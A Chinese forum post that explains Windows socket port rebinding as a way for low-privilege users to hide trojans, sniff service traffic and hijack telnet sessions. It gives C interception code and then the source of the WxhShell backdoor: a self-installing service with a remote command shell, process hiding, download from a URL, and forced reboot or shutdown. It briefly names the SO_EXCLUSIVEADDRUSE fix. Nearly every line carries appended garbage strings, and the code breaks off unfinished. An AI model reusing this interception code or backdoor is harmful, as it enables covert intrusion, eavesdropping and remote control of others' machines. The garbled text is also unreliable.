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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: z}}P+P/  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X<_HQ  
; Ows8  
  saddr.sin_family = AF_INET; z 3[J sE%  
%qsl<_&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *Mg@j;+5s  
D,*|:i  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ta5_k&3N  
F6J]T6 Y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Slo^tqbG  
]'n4e*  
  这意味着什么?意味着可以进行如下的攻击: RFsUb:%V7-  
h+Lpj^<2a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Tei2[siA5  
&kvmLOI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) D HQxu4  
Uufig)6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UM0Ws|qx&  
:G98uX t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yX*$PNL5w  
h$sOJs~6h  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gT=pO`a  
{m3#1iV9  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gT+wn-3  
cjhwJ"`H  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _'G'>X>}WU  
uDJ;GD[yc  
  #include `e;r$Vpd_  
  #include ab9ecZ  
  #include QoUdTIIL  
  #include    K2Ro0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Is6}VLbB  
  int main() bxwwYSS  
  { aso8,mpZuA  
  WORD wVersionRequested; /Q)I5sL@E  
  DWORD ret; 9D`K#3}  
  WSADATA wsaData; 9 iJ$M!  
  BOOL val; u{HO6 s\S  
  SOCKADDR_IN saddr; Odw'Ua  
  SOCKADDR_IN scaddr; dPpJDY0  
  int err; )2l @%?9  
  SOCKET s; w2s06`g  
  SOCKET sc; w\D !e  
  int caddsize; x%k@&d;z  
  HANDLE mt; ZDL1H3;R  
  DWORD tid;   iF +@aA  
  wVersionRequested = MAKEWORD( 2, 2 ); }%PK %/ zI  
  err = WSAStartup( wVersionRequested, &wsaData ); 2[(~_VJ  
  if ( err != 0 ) { LauGT* z!  
  printf("error!WSAStartup failed!\n"); _OjZ>j<B.  
  return -1; nhMxw @Z\  
  } V'>Plb.A  
  saddr.sin_family = AF_INET; *aS+XnT/  
   M:oM(K+  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Iw.!*0$  
X=1o$:7  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U/A iI;Ne  
  saddr.sin_port = htons(23); f@Jrbg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &L+.5i  
  { Ua:@,};  
  printf("error!socket failed!\n"); AWMJ/ E*T  
  return -1; :Cx|(+T  
  } {PxFG<^U  
  val = TRUE; <"K*O9 nst  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =+mb@#="m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) uY>M3h#qx  
  { |kvH`&s  
  printf("error!setsockopt failed!\n"); Z- a  
  return -1; u;t~ z  
  } b+:J?MR;}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VZr:yE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -@_v@]:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6hd<ys?  
Mh~}RA"H  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x>##qYT  
  { ,e9M%VIu6[  
  ret=GetLastError(); =z"+)N  
  printf("error!bind failed!\n"); *IWW,@0  
  return -1; *-5N0K<kQ  
  } `?N0?;  
  listen(s,2); S:}"gwFM  
  while(1) YK6'/2!  
  { hchG\ i  
  caddsize = sizeof(scaddr); EZ|v,1`e  
  //接受连接请求 /; Bmh=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); D@68_sn  
  if(sc!=INVALID_SOCKET) O8bxd6xb  
  { Kf BT'6t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); J=$\-  
  if(mt==NULL) TE+>|}]R  
  { rqmb<# Z  
  printf("Thread Creat Failed!\n"); egG<"e*W}N  
  break; :yD>Tn;1  
  } HLwMo&*rA  
  } r#4/~a5i~  
  CloseHandle(mt); lD3nz<p  
  } 37jxl+  
  closesocket(s); Pb8@owG8  
  WSACleanup(); "#o..?K  
  return 0; `wtso  
  }   77)WNL/ x  
  DWORD WINAPI ClientThread(LPVOID lpParam) RM `qC  
  { $+7uB-KsU  
  SOCKET ss = (SOCKET)lpParam; '-RacNY  
  SOCKET sc; }}tbOD)t  
  unsigned char buf[4096]; < z2wt  
  SOCKADDR_IN saddr; nDC0^&  
  long num; Su2{nNC>  
  DWORD val; -%yrs6  
  DWORD ret; ;50&s .gZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 \_8wU' 7  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   X@DW1<wEt  
  saddr.sin_family = AF_INET; 2,q*[Kh1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 2NMs-Zs  
  saddr.sin_port = htons(23); %k1Pyv;]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u>"0 >U  
  { K$M+"#./  
  printf("error!socket failed!\n"); mvZ#FF1,J  
  return -1; *$vH]>)p  
  } *|dr-e_j  
  val = 100; }Rw,4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) kzRJzJquP  
  { I8 :e `L  
  ret = GetLastError(); s4"Os gP+  
  return -1; gk%@& TB/  
  } rYr*D[m]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |M?vFF]TN  
  { b[<RcM{r}  
  ret = GetLastError(); ~.%HZzR6&  
  return -1; <ErX<(0`ig  
  } )|lxzlk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l,4O  
  { ~x9 ]?T  
  printf("error!socket connect failed!\n"); zd=O;T;.  
  closesocket(sc); ?qaWt/m  
  closesocket(ss); >SK:b/i  
  return -1; ]h,rgO ;  
  }  L\PmT  
  while(1) clB K  
  { ccHf+=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s;Gd`-S>d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ">oySo.B?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3O/#^~\'hW  
  num = recv(ss,buf,4096,0); l&qnqmW<  
  if(num>0) y'K2#Y~1e  
  send(sc,buf,num,0); Z]]Ur  
  else if(num==0) !,m  
  break; CP~ZIIip"  
  num = recv(sc,buf,4096,0); \x}\)m_7M<  
  if(num>0) cgMF?;V  
  send(ss,buf,num,0); sF{aG6u   
  else if(num==0) m$W >~  
  break; E&P2E3P  
  } C_Ewu*T7  
  closesocket(ss); 'k X8}bx  
  closesocket(sc); H&)}Z6C"  
  return 0 ; PW5]+ |#  
  } Cd}^&z  
\_ 3>v5k|  
IW0S*mO$  
========================================================== i7Up AHd/  
}uZs)UQ|$  
下边附上一个代码,,WXhSHELL /kbU<  
S<"Fp1#"l  
========================================================== f82%nT  
[k6I#v<&  
#include "stdafx.h" SeD}H=,@  
-&5YRfr!  
#include <stdio.h> aTuu",f  
#include <string.h> -fq  
#include <windows.h> $^ws#}j  
#include <winsock2.h> cq4~(PXT g  
#include <winsvc.h> !!y]pMjJa@  
#include <urlmon.h> o.{W_k/n  
:R Iz6Tz  
#pragma comment (lib, "Ws2_32.lib") ^m|@pp  
#pragma comment (lib, "urlmon.lib") ;Bs~E  
X7},|cmD_  
#define MAX_USER   100 // 最大客户端连接数 K92j BR  
#define BUF_SOCK   200 // sock buffer [IL*}M!  
#define KEY_BUFF   255 // 输入 buffer ^+_rv  
gM&IV{k3  
#define REBOOT     0   // 重启 vYed_'_  
#define SHUTDOWN   1   // 关机 }/cReX,so  
Jka>Er  
#define DEF_PORT   5000 // 监听端口 VeYT[Us"  
AW]\n;f  
#define REG_LEN     16   // 注册表键长度 @+gr/Pul^  
#define SVC_LEN     80   // NT服务名长度 EwC]%BZP  
>JyS@j}  
// 从dll定义API b@Ej$t&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3uLG$`N   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); q+?<cjVg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); VdlT+'HF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eZ$7VWG#  
&93{>caf+  
// wxhshell配置信息 o,6t: ?Z  
struct WSCFG { 0k]ApW  
  int ws_port;         // 监听端口 ?jmP] MM  
  char ws_passstr[REG_LEN]; // 口令 p F-Lz<V  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0!hr9Y]Lx  
  char ws_regname[REG_LEN]; // 注册表键名 vK',!1]y  
  char ws_svcname[REG_LEN]; // 服务名 H;/do-W[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Mog >W&U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [,o:nry'a  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,Z q:na  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R}nvSerVb  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0*gvHVd/l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r9[S%Def  
Z`Y&cKsn  
}; ,md_eGF  
fiGTI}=P  
// default Wxhshell configuration UA>=# $  
struct WSCFG wscfg={DEF_PORT, xfYKUOp/  
    "xuhuanlingzhe", PkvW6,lS  
    1, ;4nY{)bD  
    "Wxhshell", >y3FU1w5d  
    "Wxhshell", >q"dLZ  
            "WxhShell Service", `i.BB jx`  
    "Wrsky Windows CmdShell Service", ,mHME~  
    "Please Input Your Password: ", Y^fw37b  
  1, -DI >O/  
  "http://www.wrsky.com/wxhshell.exe", GX>8B:]o|  
  "Wxhshell.exe" m5K?oV@n  
    }; 3\7MeG`tl  
'+88UFSq5  
// 消息定义模块 $ev+0m_  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B=|R?t (*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L&pR#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qSY\a\.<  
char *msg_ws_ext="\n\rExit."; %*R, ceuI  
char *msg_ws_end="\n\rQuit."; vV,TT%J8D  
char *msg_ws_boot="\n\rReboot..."; }Fe6L;^;  
char *msg_ws_poff="\n\rShutdown..."; 3~>-A=  
char *msg_ws_down="\n\rSave to "; O_FB^BB  
=U]9>  
char *msg_ws_err="\n\rErr!"; ? i{?Q,  
char *msg_ws_ok="\n\rOK!"; 'S`l[L:.8  
IZZAR  
char ExeFile[MAX_PATH]; \<7Bx[/D4  
int nUser = 0; Qit&cnO  
HANDLE handles[MAX_USER]; qG9a!sj   
int OsIsNt; jPWONz(#  
@ {/)k%U  
SERVICE_STATUS       serviceStatus; Q]WBH_j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <V?2;Gy  
$$9H1)Ny  
// 函数声明 Y{} ub]i  
int Install(void); zMSwU]4I!  
int Uninstall(void); 4 &bmt  
int DownloadFile(char *sURL, SOCKET wsh); m$vq %[/#  
int Boot(int flag); "N+4TfXy  
void HideProc(void); TU|#Pz7n-Z  
int GetOsVer(void); 1Lb)S@Q`*R  
int Wxhshell(SOCKET wsl); XGa8tI[:X  
void TalkWithClient(void *cs); Ip t;NlR  
int CmdShell(SOCKET sock); 0#V"   
int StartFromService(void); "Bd-h|J  
int StartWxhshell(LPSTR lpCmdLine); t&?jJ7 (&8  
GfONm6A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); " MnWd BS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FB6Lz5:Vf  
iv*RE9?^  
// 数据结构和表定义 tA(oD4H9  
SERVICE_TABLE_ENTRY DispatchTable[] = 7KgaXi3r  
{ x^lc T  
{wscfg.ws_svcname, NTServiceMain}, e$9a9twl  
{NULL, NULL} $}/tlA&e  
}; j4XVk@'OX  
j@xIa-{*  
// 自我安装 -Q? i16pM  
int Install(void) RP~nLh3=\  
{ h8/tKyr8(  
  char svExeFile[MAX_PATH]; Q>5f@aN  
  HKEY key; .gO|=E"  
  strcpy(svExeFile,ExeFile); L?ZSfm2<  
=z. hJu  
// 如果是win9x系统,修改注册表设为自启动 e66Ag}Sw|  
if(!OsIsNt) { ? dJd7+A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qJG;`Ugl:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); An_(L*Qz  
  RegCloseKey(key); 0moAmfc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;1&"]N%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Us<#"fC  
  RegCloseKey(key); i*$+>3Q-  
  return 0; 0MRWx%CR  
    } 4b<|jVl\  
  } i ;B^I8  
} f r~Eb'8  
else { / =9Y(v  
l~$)>?ZD  
// 如果是NT以上系统,安装为系统服务 ;bwBd:Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nc1~5eo  
if (schSCManager!=0) <VZ43I  
{ 0[UI'2  
  SC_HANDLE schService = CreateService g;Ugr8  
  ( du$lS':`  
  schSCManager, N[eL Qe]q  
  wscfg.ws_svcname, k -G9'c~  
  wscfg.ws_svcdisp, O.jm{x!m  
  SERVICE_ALL_ACCESS, YT-ua{ .^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i6yA>#^  
  SERVICE_AUTO_START, A{> w5T  
  SERVICE_ERROR_NORMAL, 0_qr7Ui8(  
  svExeFile, @vq)Y2)r\  
  NULL, T;DKDg a  
  NULL, XW aa`q  
  NULL, YWU@e[  
  NULL, ]#NfH-T  
  NULL k2eKs*WLC  
  ); _N;@jq\q  
  if (schService!=0)  +C\79,r  
  { e(wc [bv  
  CloseServiceHandle(schService); (+gTIcc >  
  CloseServiceHandle(schSCManager); "]jN'N(.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7=G6ao7  
  strcat(svExeFile,wscfg.ws_svcname); |6^a[x3/U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xr^ 5Th\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rhLhFN{h  
  RegCloseKey(key); {ccc[G?>.Q  
  return 0; RF*>U a  
    } rOOo42Y W`  
  } ]]y>d!  
  CloseServiceHandle(schSCManager); 1tTP;C l#  
} i'<hT q4  
} qJF'KHyU{l  
wdj?T`4  
return 1; <e#v9=}DI  
} Q@}SR%p  
)xf(4  
// 自我卸载 %UdE2D'bC  
int Uninstall(void) x#E M)Thq  
{ ;|K }  
  HKEY key; i;pg9Vw  
p p0356  
if(!OsIsNt) { I]n X6=j5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a;dWM(;Kw  
  RegDeleteValue(key,wscfg.ws_regname); Yt*NIwWr  
  RegCloseKey(key); <Z t]V`-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bq5ySy{8  
  RegDeleteValue(key,wscfg.ws_regname); (~Bm\Jn  
  RegCloseKey(key); E uO:}[  
  return 0; CnuM=S:  
  } K'2N:.D:  
} E 1`g8Hk'  
} KT<i%)t2  
else { 1/1oT  
\4qF3#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rmBzLZ}  
if (schSCManager!=0) 47Vt8oyh%  
{ '`k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ommW  
  if (schService!=0) c1kV}-v  
  { ThP~k9-  
  if(DeleteService(schService)!=0) { 8Y%  
  CloseServiceHandle(schService); 2FdwX ,O.  
  CloseServiceHandle(schSCManager); Qxy ~ %;X  
  return 0; o[wiQ9Tl  
  } \RDqW+,  
  CloseServiceHandle(schService); CD`6R.  
  } c\[&IlM  
  CloseServiceHandle(schSCManager); auIW>0?}  
} [ -Z 6QzT  
} Z*P/ubV'  
\1-lda  
return 1; {R(/Usg!=  
} A' ![*O  
fN{wP,jI  
// 从指定url下载文件 }JOz,SQHP  
int DownloadFile(char *sURL, SOCKET wsh) >=rniHs=?7  
{ iuqJPW^}  
  HRESULT hr; >r)UDa+  
char seps[]= "/"; _s-X5 xU  
char *token; Y,mo}X<>  
char *file; ^{J^oZ'%~  
char myURL[MAX_PATH]; tag)IWAiE  
char myFILE[MAX_PATH]; %1cxZxGT  
o9ys$vXt*  
strcpy(myURL,sURL); #2\M(5d  
  token=strtok(myURL,seps); Y&M{7  
  while(token!=NULL) x$Wtkb0<  
  { StR)O))I  
    file=token; T__@hfT  
  token=strtok(NULL,seps); {|%^'lS  
  } P{s1NorKDh  
PRYm1Y  
GetCurrentDirectory(MAX_PATH,myFILE); AvIheR  
strcat(myFILE, "\\"); B4*,]lS?  
strcat(myFILE, file); Ts, U T L  
  send(wsh,myFILE,strlen(myFILE),0); 0n X5Vo  
send(wsh,"...",3,0); ,F!-17_vt  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )jwovS?V  
  if(hr==S_OK) f7 ew<c\  
return 0; qc'KQ5w7!  
else MP@}G$O  
return 1; kyJKai  
p? +!*BZ  
} ZQR)k:k7  
A$~H`W<yxB  
// 系统电源模块 i+Ne.h  
int Boot(int flag) q}'<[Wg  
{ <b4} B   
  HANDLE hToken; _;x`6LM  
  TOKEN_PRIVILEGES tkp; aFnyhu&W'  
?=?*W7  
  if(OsIsNt) { \2f?)id~  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d hg($m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B\|^$z2  
    tkp.PrivilegeCount = 1; |J-tU)|1vl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B}y#AVSA  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &H,UWtU+  
if(flag==REBOOT) { )g&nI <Mh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) j$u  
  return 0; ~s?y[yy6i  
} :hB6-CZkqN  
else { vPZ0?r_5W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HWL? doM  
  return 0; KB\ri&bF  
} _=[pW2p  
  } E^w0X,0XlE  
  else { 0ikA@SAq  
if(flag==REBOOT) { : @gW3'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) e'v_eD T^  
  return 0; n68qxD-X  
} O#^qd0e'P!  
else { sV%=z}n=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) frQ=BV5%6  
  return 0; EN>a^B+!  
} 4dz Ym+vJm  
} (:+Wc^0  
m*e8j[w#  
return 1; qIy9{LF  
} Vn^8nS  
O"[#g  
// win9x进程隐藏模块 .(Z^}  
void HideProc(void) bL:+(/:  
{ ldKLTO*&  
B(wi+;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hR>`I0|p&  
  if ( hKernel != NULL ) +,ld;NM{  
  { ye {y[$#3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H!y-o'Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MqWM!v-M  
    FreeLibrary(hKernel); #Guwbg  
  } obX2/   
ZE/Aj/7Qy  
return; Ox aS<vQ3  
} nwDW<J{f|U  
^sJp!hi4=)  
// 获取操作系统版本 U|+`Eth8(  
int GetOsVer(void) ccW{88II7w  
{ #\}xyPS  
  OSVERSIONINFO winfo; dKPx3Y'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :' !_PN  
  GetVersionEx(&winfo); IxWX2yJ]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) } f!wQx b  
  return 1; 7,{!a56zX  
  else 4 tt=u]:  
  return 0; 4 $)}d  
} 1 x0)mt3  
;UQ&yj%x  
// 客户端句柄模块 ' b,zE[Q  
int Wxhshell(SOCKET wsl) T!pHT'J  
{ 9\r5&#<(I  
  SOCKET wsh; gi/W3q3c6  
  struct sockaddr_in client; 5)4?i p  
  DWORD myID; 5e'**tbKH  
taSYR$VJ  
  while(nUser<MAX_USER) aTLr%D:Ka  
{ %A@U7gqc  
  int nSize=sizeof(client); %8"Aq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U,`F2yD/!  
  if(wsh==INVALID_SOCKET) return 1; (bogAi3<F  
 ZN;fDv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Ac!"_N?7  
if(handles[nUser]==0) zL+M-2hV  
  closesocket(wsh); $O9#4A;  
else M[Jy?b)  
  nUser++; !;U}ax;AF  
  } I"jub kI=Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WODgG@w  
VBu6,6  
  return 0; 0mT.J~}1v  
} qUNXT  
p#dYNed]'  
// 关闭 socket Or()AzwE@  
void CloseIt(SOCKET wsh) kPp7;U2A  
{ 6)3pnhG9  
closesocket(wsh); |=Pw -uk  
nUser--; ^+dL7g?+  
ExitThread(0); eG5xJA^  
} KlRIJOS  
4Cf.%f9@  
// 客户端请求句柄 s9?H#^Y5u  
void TalkWithClient(void *cs) \z=!It]f.  
{ ,NU`aG-  
*i7|~q/u  
  SOCKET wsh=(SOCKET)cs; 0 !F! Y_  
  char pwd[SVC_LEN]; OmECvL'Z  
  char cmd[KEY_BUFF]; n\4sNoFI  
char chr[1]; xNxSgvco ,  
int i,j; H[iR8<rhQ  
$,7Yo nc  
  while (nUser < MAX_USER) { /. @"wAw:  
LZ~}*}jy  
if(wscfg.ws_passstr) { ?w"zW6U  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cy\! H&0wg  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &o)eRcwH`  
  //ZeroMemory(pwd,KEY_BUFF); WS ^%< h#  
      i=0; ohB@ijC!  
  while(i<SVC_LEN) { ncij)7c)u  
RMxFo\TK;  
  // 设置超时 K!SFS   
  fd_set FdRead; y$HV;%G{26  
  struct timeval TimeOut; NB)22 %  
  FD_ZERO(&FdRead); yUFT9bD  
  FD_SET(wsh,&FdRead); ,S=ur%  
  TimeOut.tv_sec=8; Md1ePp]  
  TimeOut.tv_usec=0; a"X9cU[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); B P0*`TY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8}!WJ2[R  
YZ^;xV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]hi5 nA  
  pwd=chr[0]; sxU 0Fg   
  if(chr[0]==0xd || chr[0]==0xa) { 4Y}{?]>pu  
  pwd=0; Wr\A ->+  
  break; yK:b $S  
  } MJI`1*(  
  i++; &BJ"T  
    } xEqr3(  
E(Y}*.\]#s  
  // 如果是非法用户,关闭 socket IpI|G!Y,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ya-kM UW  
} w|8T6W|w  
di]TS9&9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '@,M 'H{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aqN6.t  
F>[T)t{m=  
while(1) { }w/6"MJ[n  
,ftKRq  
  ZeroMemory(cmd,KEY_BUFF); v<t r1cUT  
Z+G/==%3#,  
      // 自动支持客户端 telnet标准   58o'Q  
  j=0; q jmlwVw  
  while(j<KEY_BUFF) { Al pk5o5B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ipyr+7/zJ  
  cmd[j]=chr[0]; jdAjCy;s!  
  if(chr[0]==0xa || chr[0]==0xd) { &-hXk!A  
  cmd[j]=0; ^K'@W  
  break; <#F@OU  
  } 6$A>%Jtwe  
  j++; T43Jgk,  
    } 6_kv~`"tZ  
nb}rfd.  
  // 下载文件 -|_MC^)  
  if(strstr(cmd,"http://")) { {>n\B~*,"C  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _%:$sAj  
  if(DownloadFile(cmd,wsh)) M#;"7Qg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ` D={l29H  
  else b,uu dtlH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EN;s 8sC!  
  } ~"nF$DB  
  else { 6-J%Z%yT #  
6g&Ev'  
    switch(cmd[0]) { u@pimRVo  
  g}n-H4LI  
  // 帮助 db`L0JB  
  case '?': { XsbYWJdds  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `A ^  
    break; ME.a * v  
  } 6,a:s:$>}R  
  // 安装 dh S7}n  
  case 'i': { 4Be'w`Q {  
    if(Install()) `R6dnbH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R]<N";-  
    else jiqE^j3;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !N'HL-oT  
    break; |Q?^Ba  
    } XDohfa _  
  // 卸载 1U6 z2i+y  
  case 'r': { _kXq0~  
    if(Uninstall()) K$/&C:,Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$g{i:)Z  
    else ;7E c'nC4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2xK v;  
    break; V;29ieE!  
    } 3>QkO.b  
  // 显示 wxhshell 所在路径 #%7)a;'  
  case 'p': { (5a:O (\r  
    char svExeFile[MAX_PATH]; dTZ$92<  
    strcpy(svExeFile,"\n\r"); c8 Je&y8  
      strcat(svExeFile,ExeFile); ?/|KM8  
        send(wsh,svExeFile,strlen(svExeFile),0); '8w>=9Xl  
    break; AX;!-|bW  
    } I>JBGR`j  
  // 重启 .C,D;T{  
  case 'b': { `Vl9/IEk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YJu~iQ`i  
    if(Boot(REBOOT)) {;vLM* '  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 03H0(ku=  
    else { y4)iL?!J~  
    closesocket(wsh); M>[e1y>7  
    ExitThread(0); z"P/Geb:O  
    } `3yK<-  
    break; Z@,[a  
    } d$hBgJe>N  
  // 关机 ,0a\Ka {^  
